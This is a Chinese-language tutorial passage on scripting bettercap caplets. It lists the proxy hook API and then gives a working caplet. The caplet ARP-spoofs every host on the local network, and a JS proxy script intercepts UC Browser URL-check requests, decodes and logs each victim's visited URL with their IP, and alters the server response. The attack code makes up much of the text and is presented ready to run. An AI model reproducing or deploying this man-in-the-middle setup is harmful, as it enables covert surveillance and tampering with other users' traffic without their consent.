我们这次需要编写的caplets中需要用到如下命令
http.proxy on #启用http.proxy模块 set http.proxy.script path#启用我们自定义的js脚本来自定义http.proxy模块的行为编写http.proxy是重头戏,
而拓展http.proxy的js脚本格式如下
// 在脚本被加载时执行 function onLoad() { } // 当代理接收到请求并且还没发送到真正的server时调用 function onRequest(req, res) { } // 当请求已经发送到了真实的server并获取返回结果时调用 function onResponse(req, res) { } //当未知命令被调用时执行,这样可以拓展我们自己的命令 function onCommand(cmd) { if( cmd == "test" ) { /* * 自定义会话中命令的逻辑. */ return true } }在今天的bettercap脚本编写示例中我们将会编写这里的onRequest和onResponse函数。
在onRequest和onResponse函数中的req和res就是传入的请求和返回结果。
关于req和res支持的操作,官方文档并没有提供一个完整详细的列表,但是笔者阅读了许多caplets的源码找出了以下用法
req用法 用法 说明req.Path url路径
req.GetHeader(“User-Agent”, “”) 获取某请求头
req.Client.IP 客户端IP
req.Hostname server的主机名
req.Headers 获取所有请求头
req.Method 请求方式
req.ContentType Content-Type
req.Query 获取查询字符串
req.ParseForm(); 获取POST包的字典
req.ReadBody() 获取请求包的body
res用法
用法 说明res.Body 返回包的body,只能修改用于改包而不能读结果
res.ContentType Content-Type
res.SetHeader(“Content-Length”, 114514) 设置返回包的头
res.Status 返回包的状态码
res.ReadBody 获取返回包的body(在onResponse时使用)
编写caplets
在知道了如上信息之后我们就可以编写我们的caplets了,首先在/usr/share/bettercap/caplets/目录下建立目录uc-url
创建uc-url.cap文件,编写文件使内容为
set http.proxy.script uc-url.js http.proxy on arp.spoof on这个脚本的解释:第一行是配置http.proxy.script,即我们即将编写的拓展脚本
接着启用http.proxy模块
最后启用arp.spoof模块,由于没有指定目标,默认对同局域网所有主机执行arp攻击
接着我们在同目录下创建uc-url.js,编写如下内容
var RESET = "[0m"; function R(s) { return "[31m" + s + RESET; } function G(s) { return "[32m" + s + RESET; } function onRequest(req, res) { if( req.Method == "POST" && req.Path == "/urlcheck"&&req.Hostname=='dabai.pc.ucweb.com') { //parse request url from urlcheck request var form = req.ParseForm(); var url=atob(form['url']); log( R(req.Client.IP)+" URL:"+G(url)); } } function onResponse(req, res) { if( req.Method == "POST" && req.Path == "/urlcheck"&&req.Hostname=='dabai.pc.ucweb.com') { var body = res.ReadBody(); j=JSON.parse(body) j['data']['title']='6324直播间'; res.Body=JSON.stringify(j); //log(JSON.stringify(j)); } }前面的RESET,G,R函数用于处理字符串,使其在终端输出的时候有颜色。
其中onRequest函数中,我们根据请求的方式,url的路径,以及hostname判断了urlcheck包。
如果是urlcheck包,则通过ParseForm函数获取其url参数并且用atob函数base64解码,最后在终端上打印该URL。